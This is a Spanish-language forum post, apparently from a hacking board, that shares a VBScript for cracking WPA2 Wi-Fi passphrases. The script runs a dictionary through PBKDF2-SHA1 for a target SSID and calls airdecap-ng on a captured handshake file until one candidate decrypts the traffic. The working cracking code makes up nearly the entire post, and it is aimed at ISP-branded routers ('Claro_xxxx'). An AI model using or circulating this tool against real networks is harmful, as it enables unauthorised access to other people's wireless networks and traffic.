Temas

[Mod: Los códigos deben ir en GeSHi]

Hola mis queridos colegas !!

Bueno, tenia mucho tiempo que no andaba por aqui, pero bueno, en los ultimos dias he estado programando un pequeño script en vbs el cual me ha dado buenos resultados es rapido y no consume CPU, ni memoria como el ya conocido aircrack, se me ocurrio hacelo de esta manera ( cosas de locos, ya saben )
aqui les dejo el codigo si alguien puede perfeccionarlo pues mucho mejor,[/img][/img][/img] requisitos :

airdecap-ng (librerias)
ChilkatAx-9.5.0-win32.zip ( http://www.chilkatsoft.com/download/9.5.0.49/ChilkatAx-9.5.0-win32.zip )
diccionario y dale pedale.....

Código (vb) [Seleccionar] Expandir

Dim fso, outFile, variable, pw, tama

' abre el diccionario
acum = 0
const ForReading = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile _
("f:\wpa2\clarohauwai-3.txt", ForReading)
start_time = time()

' empieza a recorrer el diccionario
Do Until objTextFile.AtEndOfStream
strNextLine = objTextFile.Readline
arrServiceList = Split(strNextLine)

Set crypt = CreateObject("Chilkat_9_5_0.Crypt2")
success = crypt.UnlockComponent("pepe")
If (success <> 1) Then
   outFile.WriteLine(crypt.LastErrorText)
   WScript.Quit
End If

'  pasada del diccionario WPA passphrase
pw = arrServiceList(0)          'Induction
pwCharset = "ansi"
acum = acum + 1

'  Hash algoritmo: sha1, md2, md5, etc.
hashAlg = "sha1"

' ssid y lo convierte a hex
strString = "Claro_xxxx"     'Coherer
strHex =""
For i=1 To Len(strString)
   strHex = strHex + Hex(Asc(Mid(strString,i,1)))
Next

' asigna la variable a ssidHex
ssidHex = strHex

'  la WPA key calcula 4096 interaciones.
iterationCount = 4096
outputBitLen = 256
enc = "hex"

start_time2 = time()

' reliza el calculo del hash
wpaHexKey = crypt.Pbkdf2(pw,pwCharset,hashAlg,ssidHex,iterationCount,outputBitLen,enc)

' llama el airdecap y le envia el hash calculado
Set WshShell = CreateObject("WScript.Shell")
Return = WshShell.Run("f:\wpa2\airdecap-ng.exe -l -k " & wpaHexKey & " -e " & strString & " F:\WPA2\rules\Claro_xxxx.cap",0, True)

' imprime variables
 WScript.echo "SSID        :", strString  ,            "                     | Cantidad:",acum
 WScript.Echo "------------------------------------------------------------------------------"
 WScript.echo "CLAVE       :", pw
 WScript.Echo "------------------------------------------------------------------------------"
 WScript.echo "WPA PMK     :", wpaHexKey
 WScript.Echo "------------------------------------------------------------------------------"

' determina el size del archivo que genera el airdecap
filename = ("F:\WPA2\rules\Claro_xxxx-dec.cap")
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFile(filename)
tama = f.Size

' si el archivo -dec.cap es alterado, ocea cuando se le envia el hash entonces....blablabla
If tama > 24 Then
  WScript.Echo " "
  WScript.Echo "========================================"
  WScript.Echo " "
  WScript.Echo "Clave desifrada 100% :", pw
  WScript.Echo " "
  WScript.Echo "========================================"
  Exit do

End If


Loop

'airdecap-ng -k A288FCF0CAAACDA9A9F58633FF35E8992A01D9C10BA5E02EFDF8CB5D730CE7BC -e Coherer wpa-Induction.pcap | find "decrypted WPA"

Suerte !!!!

Mod: Los códigos deben ir en GeSHi